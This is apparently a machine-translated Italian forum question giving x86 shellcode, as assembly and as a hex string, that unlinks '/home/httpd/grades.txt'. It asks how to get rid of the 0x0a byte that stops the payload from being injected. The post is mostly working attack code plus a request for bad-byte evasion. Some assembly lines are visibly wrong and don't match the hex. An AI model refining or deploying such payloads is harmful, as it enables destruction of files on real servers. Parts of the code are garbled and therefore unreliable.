Ho scritto uno shellcode per scollegare un file dal sistema, ma quando ho estratto il codice esadecimale dal file binario, esso è costituito da \ x0a byte, perché il numero di chiamata sys per la funzione di scollegamento è 10, quindi è essenzialmente trattato come un nuovo carattere di linea mentre eseguo il mio codice esadecimale. Pertanto, limitando il resto del codice dall'eccitazione.
La mia shell è (shellcode.S):
#include
#define STRING "/home/httpd/grades.txt"
#define STRLEN 22
#define CODE 0x05
.globl main
.type main, @function
main:
jmp calladdr
popladdr:
popl %esi
xorl %eax,%eax /* get a 32-bit zero value */
movb %al,(STRLEN)(%esi) /* null-terminate our string */
addb %ecx,5
movb $ecx,%al /* syscall arg 1: syscall number */
movl %esi,%ebx /* syscall arg 2: string pathname */
int $0x80 /* invoke syscall */
xorl %ebx,%ebx /* syscall arg 2: 0 */
movl %ebx,%eax
inc %eax /* syscall arg 1: SYS_exit (1), uses */
/* mov+inc to avoid null byte */
int $0x80 /* invoke syscall */
calladdr:
call popladdr
.ascii STRING
Il codice esadecimale per il file bin di shellcode è:
char shellcode[] = "\xeb\x13\x5e\x31\xc0\x88\x46\x16\xb0\x0a\x89\xf3"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe8\xff"
"\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70"
"\x64\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74"
Quindi, per favore suggerisci qualche metodo da eliminare, questo con lo stesso funzionamento di shellcode.
Grazie per l'aiuto!